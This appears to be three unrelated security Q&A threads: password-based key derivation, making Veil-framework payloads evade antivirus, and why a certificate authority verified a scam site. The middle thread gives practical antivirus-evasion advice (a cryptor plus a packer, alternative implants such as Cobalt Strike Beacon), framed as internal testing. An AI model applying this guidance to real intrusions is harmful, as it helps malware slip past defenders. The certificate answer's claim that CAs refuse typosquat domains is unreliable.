Should I be worried about brute-forcing passwords that encrypts AES? I am building an application that needs to locally store sensitive data, that is encrypted using the SHA-256 of a password provided by the user. It uses AES for encryption.

I am worried that some users may choose to use a weak password, that could be brute-forced by an attacker that gets that file and wants to read the content.

I am thinking that, in order to get the hash, a nonce must be appended to that password, and the first nonce for which the hash has the first X bits set to zero, that's the key that must be used. If X is set to 20, around 1 million hashes should be calculated in average to get the valid key from the password provided by the user.

This way the user might take 1 second to calculate the key (depending on their machine), making it extremely harder to brute-force it by guessing passwords.

Of course, this is something I came up with, and I guess that's why I shouldn't use it. Is there any widely tested alternatives for this?

.. encrypted using the sha256 of a password provided by the user.

You should not use a simple hash to create the key from the passphrase. These hashes are optimized for speed and thus brute-forcing is possible. Instead you should use proven key derivation functions like PBKDF2 or similar. See the Wikipedia article about Key Derivation Functions for more details.


Should veil framework produce packed and obfuscated binaries which bypass virustotal? I have been working with the veil framework to test an internal IDS system I have in place. I have used a public malware sample which produces an 8/53 hit score on Virustotal and run it through the Hyperion and Pescrambler veil payloads.

However, the output samples either retain the initial hit score or increase (in the case of Hyperion).
Is this expected behavior from the veil framework? Is this due to the presence of dynamic analysis?

Are there any suggestions for generating packed and obfuscated executables with a higher degree of bypass efficacy for internal security testing?

The commenter, paj28, is correct: don't submit these to VirusTotal. Test them against the HIPS and AV systems you are specifically targeting in a VM-guest environment. I prefer using Vagrant along with the Packer and Boxcutter tools to "mock up" things in a lab.

Hyperion is great, but don't combine it with Pescrambler necessarily. You only need one cryptor, not two. What you ideally need is one cryptor and one packer, e.g., Hyperion and UPX. Try the various UPX formats and options: one will work after crypting. That would be the most-efficient and under-the-radar. Two cryptors or two packers is too many and "over the threshold".

Another factor is Meterpreter (or whatever baseline implant you are working from). It's not the best implant (some give away too much), especially not on Win32. It calls too many sensitive functions from too many W32 dependencies that are obviously malware. What you need is a different implant, such as Cobalt Strike Beacon or Silent Break Security Throwback. My favorite script circa Q42014 and Q1-2 2015 is veil_evasion.cna. It's in the official sources and probably PowerSploit, etc, but it can be loaded with a few others via this specific project from its original author -- https://github.com/HarmJ0y/cortana


Why is this website verified by Symantec if it's known for scam & theft? The website is verified by the Certificate Authority Symantec according to my Firefox browser; however, when I went to the website and foolishly bought a gift card, I then got a notification from my bank that someone spent over $400. The fees were refunded and everything was resolved; however, I am confused why the website says it's verified by a CA if it's known for scamming customers. The reviews are filled with other people saying the same thing or something similar.

Why would Symantec verify that this is a secure website, when it's not? I am no expert in IT Security, I am still at entry level and would like to know or understand this better because I am kind of confused.

Website: https://www.cardpool.com/

Symantec is verifying only that the website is who they say they are.  They make no judgements based on whether or not the owners of the website are running a legitimate service or not.

CAs are not supposed to sign a certificate if that certificate could be misinterpreted as a different site:  https://www.citibank.com would be verified by the actual Citibank company; but https://www.citibamk.com should not be issued to anyone else because it's probably a thief using typosquatting in order to dupe people.  (Note that Citibank could in good faith register citibamk.com in order to redirect people to their real site; some sites will buy up typosquatting domain names in order to prevent these attacks.

So, if the site you visited was named https://www.ARealLegitStoreAndNotAScammer.com and you got scammed by them anyway, it's not Symantec's fault.  However, if you got duped by https://www.walmert.com into thinking you were at the very large retailer's web site, then they should never have signed the certificate, and it's their fault.